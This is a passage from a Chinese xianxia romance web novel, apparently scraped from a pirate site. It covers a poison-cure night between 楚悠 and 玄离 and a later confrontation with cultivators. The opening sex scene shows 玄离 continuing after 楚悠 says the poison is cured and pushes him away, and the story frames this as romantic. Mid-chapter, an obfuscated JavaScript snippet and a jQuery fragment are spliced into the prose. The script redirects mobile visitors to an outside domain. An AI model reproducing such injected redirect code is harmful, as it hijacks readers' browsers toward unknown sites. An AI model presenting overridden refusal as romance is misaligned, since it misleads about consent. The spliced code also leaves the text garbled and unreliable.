映入木窗的月色渐渐西移,床榻上的银铃声终于变缓。
夜风卷起一角纱帐,凌乱被褥堆叠,雪白身躯瘫软,汗湿的乌发贴在后背上。
两次之后,楚悠体内的燥热散去,只剩被彻底掏空的疲惫和放纵后的空茫。
意识一点点回归。
旧纱帐外的烛灯已经烧尽,月光朦胧透进来,她眨了眨肿胀眼皮,视线慢慢适应黑暗。
身上汗意黏腻,被完全撑开地方感受鲜明。
玄离的动作不急不缓。
楚悠喉咙发干,试着动了动,声音哑了:“玄离……毒解了。”
她轻轻推了推握住腰肢的手。
玄离垂眼看她,激烈的纠缠没有给他留下太多痕迹,除了微乱的气息和顺着肌肉滑落的汗珠。
“是吗?”
他支起身,声音低沉,带着淡淡的餍足,随后抬起手,缓慢细致地抹去她睫毛上那点摇摇欲坠的水光,动作堪称温柔。
就在楚悠以为他明白了,刚松一口气时——
玄离的手没有离开,反而顺势滑落捏住她的下颌。紧接着,毫无征兆俯身一沉。
“唔!”清醒时的感觉清晰地要命。
楚悠瞬间绷紧,溢出一声短促的惊喘,杏眸不由瞪大。
在她发出更多声音之前,玄离俯身低头,精准堵住了她的唇,强势地撬开齿关,将她所有可能发出的声音,尽数堵了回去。
那枚银铃再次急促晃动起来。
*
楚悠迷迷糊糊醒过来时,窗外天光刺眼。
看起来快到吃午饭时间了。
她揉着眼睛坐起来,身上很清爽,换了她平时穿的睡衣,床榻上的被褥也被换过一遍。
身上没有太多不适,除了小腹很酸,脑袋发晕。
这大概就是纵欲过度的感觉。
昨夜的记忆片段在脑袋里自动回放,楚悠耳朵发烫,甩了甩头下床换衣服。
大黄趴在外间,看见她起了,立刻摇着尾巴凑过来,绕着她嗅来嗅去,嘤嘤叫着。
“我没事啦,谢谢大黄。”楚悠揉揉它的脑袋。
她走出正屋,外面日光灿烂。
玄离正坐在院中的摇椅上闭目养神,听见声响睁开眼,看了过来。
他已穿戴整齐,一身素净蓝衣,墨发用木簪半挽,面色透着些病态的苍白,神情平静无波,仿佛昨夜格外强势的人不是他。
目光相触,楚悠不自然地别开视线,走去井边打水洗漱。
冰凉井水扑在脸上,驱散了最后一丝睡意。
竹竿上晾晒着被褥以及她昨天穿过的粉色衣衫,袖口已经缝好,除了这些,还有她的贴身小衣。藕粉色的,正在随风轻飘。
楚悠脸一烫,含糊道:“你怎么都洗了……”
“顺手。”玄离端出温好的菜,摆好两副碗筷,“过来吃饭。”
她慢吞吞落座。玄离盛了一碗鸡汤递过来,两人指尖相触,不约而同顿了顿。
鸡汤炖得鲜香,楚悠默默喝着,很是苦恼。
昨晚的事,完全超出了预料。虽然是为了解毒,但进度是不是有点太快了……
他们才认识一个多月呢。
一碗鸡汤喝完,她抬起头:“玄离,谢谢你。”
玄离眉梢微挑:“谢我帮你解毒,还是谢我……”说着,瞥向正在晾晒的衣物。
“都有。”楚悠一眨不眨望着他,杏眸在日光下清亮剔透,“我会对你负责的。”
“负责?”他好似听见有趣的事,兴趣盎然轻笑,“楚姑娘想怎么对我负责?”
“治好你的伤,养你,不让任何人欺负你。”
玄离瞧着表情认真的她,唇边弧度渐平,目光幽幽。过了许久,他缓缓笑起来:“好啊。”
楚悠悬起的心落下。
答应了,那以后就是恋爱关系了。
她弯了弯眼睛,语气轻快:“那就不要叫我楚姑娘了,家人和朋友都叫我悠悠。”
今日起得晚,楚悠没有挽发,乌发垂在肩头,衬得脸庞小巧白皙。
玄离不合时宜想起,这张脸庞泫然欲泣的表情,以及柔软、断断续续的呜咽。
他捻了捻指尖,喉结滚动一圈,吐字轻缓:“悠悠。”
*
那日之后,楚悠没外出打猎,之前杀那三个修者,他们临死前传讯出去。
仇家可能会在山里搜人,她可不要白送上去。
楚悠在家窝了几天,日子过得风平浪静。
不用做饭,衣服也不用自己洗,没事就霸占摇椅看话本,还指使大黄给她叼东西。
院子里晾着两人的衣衫,淡绿裙带被风吹起,与男子腰带的缠缠绕绕。
冷清的小院渐渐热闹,她很珍惜这样的生活。
唯一的烦恼就是,缚心藤罕见,毒也难解,每月都会发作一次。
日子一晃就过,转眼盘镇的市集又开了。
楚悠带上最近猎到的妖兽卖给赖婆子,注意到来往修者竟比之前更多了,气氛很是紧张。
赖婆子数了一小袋灵石给她,低声道:“快些回家去吧。近日不太平,有魔修混入泄了魔气,世家的人在搜寻呢。”
魔修混入吗?
或许上次在山里遇到的,就是魔修吧。
没人来上门寻仇,可能是惊动了世家,正在躲风头。
楚悠心情轻快,绕道去成衣阁,按着玄离的尺寸买了一身天水碧色的新衣,又去了趟万春堂。
出来的时候,她还在想掌柜开的条件,一时不留神,被一人迎面拽住手臂。
邻居赵婶子气喘吁吁赶来,嗓门极大:
“快回村里去!你男人要被抓了!”
*
“砰!”
一道灵光打来,小院的木门砸在地上。
“两位大人,就是此人!他是外来户,被住这的小娘子捡回来,平时不出门遮遮掩掩!还有那条狗,定是吃人的魔兽!”冯二拄着拐,躲在两位身着青灰色道袍的修者身后,满眼怨毒和恨意。
小院里岁月静好,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363009|183778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玄离坐在摇椅上,按住了龇牙低吼的狗头。
他瞥了眼门板,神情淡淡。
“你是何人?籍契何在?”为首的修者眼神锐利扫过玄离,手已按在腰间的剑柄上。另一人则拿出巴掌大的青铜罗盘,其上刻满符文,指针颤动。
玄离抵唇轻咳两声,嗓音温和:“在下中洲修者,与人结仇避难到此。不知二位道友何事动怒,毁我家门?”
“冯二举报你乃隐匿身份的魔修,此兽亦是魔兽!”那修者拔剑出鞘,一剑逼来,“村内确有魔气踪迹,还不速速就擒!”
蓝衣似流云拂过,几步腾挪间,摇椅上已经没人。
“轰!”摇椅被长剑砍碎。
聚在门外的村民们被吓得惊呼起来。
“……你!”当众被避开,持剑修者恼怒,又挥出一剑。
“师兄且慢!”持罗盘的修者紧盯着盘面,指针颤巍巍地停在代表低阶修士的刻度上——三境,且灵气中正,并无半分魔气溢散。
他愣了一下,又催动灵力仔细探查了一遍,结果依旧。
“师兄,”他按住长剑,低声道,“测灵盘显示,他是三境修士,灵力寻常,并无魔气。这狗……也就是寻常低阶妖兽,开了点灵智而已。”
“怎可能?”佩剑修者皱眉,夺过罗盘自己看去,果然如此。他猛地扭头,怒视冯二,“你敢耍我们?!”
“不可能!绝对不可能!”冯二瞪大眼睛,急得差点跳起来,“大人明鉴!那晚明明、明明……”他想起那夜的恐怖景象和断腿之痛,语无伦次。
“废物!”修者觉得被人愚弄,失了面子,抬脚一踹冯二心窝。
冯二“哇”地吐出一口血,萎顿在地。
这一脚下去,断了他的灵脉,也绝了修行之路。
持剑修者勉强对玄离抱了抱拳,略表歉意:“一场误会,道友无需放在心上。你既为三境,何须住在这破村中。”
两人懒得再理会冯二,穿过围观村民转身便走。
冯二呆呆蜷在地上。村民们低声议论好一会,慢慢散了。
阳光很刺眼。
凭什么呢?凭什么自从这个野男人来了,他就如此倒霉!
看着逐渐走远的两道身影,冯二忽然挣扎爬起,不顾一切地追到村口,抱住佩剑修士的腿,嘶声喊道:“大人、大人别走!那狗真的是魔兽!我这条腿就是它咬断的……修者怎么可能驱使魔兽?他一定是魔修!他一定是用了什么法子骗过了法宝!您再查查!再查查啊!”
他声音凄厉,状若疯癫。
那人被他缠得烦,正欲再次将他踢开,一道温和的声音从身侧响起。
“二位,请留步。”
玄离悄无声息地站在他们前方,大黄安静蹲在脚边。
两位修者下意识停下脚步。
玄离依旧客气:“二位似乎忘记了一件事。”
“何事?”佩剑修者皱眉,觉得这病痨鬼事多。
“你们踢坏了在下的家门,”他慢条斯理道,“该付赔金。”